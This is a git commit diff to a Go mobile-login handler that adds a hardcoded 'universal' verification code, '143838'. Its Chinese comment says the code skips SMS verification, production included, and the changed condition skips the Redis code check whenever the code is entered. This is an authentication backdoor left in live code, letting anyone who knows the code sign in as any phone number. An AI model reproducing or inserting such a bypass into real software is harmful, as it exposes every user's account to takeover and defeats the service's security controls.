This commit is contained in:
Mrx
2026-05-07 21:05:26 +08:00
parent 4947679b83
commit 8f4314a81f

View File

@@ -18,6 +18,9 @@ import (
"github.com/zeromicro/go-zero/core/logx"
)
// bypassLoginCode 输入该验证码时跳过短信验证码校验(含正式环境)
const bypassLoginCode = "143838"
type MobileCodeLoginLogic struct {
logx.Logger
ctx context.Context
@@ -38,8 +41,9 @@ func (l *MobileCodeLoginLogic) MobileCodeLogin(req *types.MobileCodeLoginReq) (r
if err != nil {
return nil, errors.Wrapf(xerr.NewErrCode(xerr.SERVER_COMMON_ERROR), "手机登录, 加密手机号失败: %+v", err)
}
// 开发环境下跳过验证码验证
if os.Getenv("ENV") != "development" {
// 万能验证码跳过校验;非开发环境否则走 Redis 校验
if req.Code != bypassLoginCode && os.Getenv("ENV") != "development" {
// 检查手机号是否在一分钟内已发送过验证码
redisKey := fmt.Sprintf("%s:%s", "login", encryptedMobile)
cacheCode, err := l.svcCtx.Redis.Get(redisKey)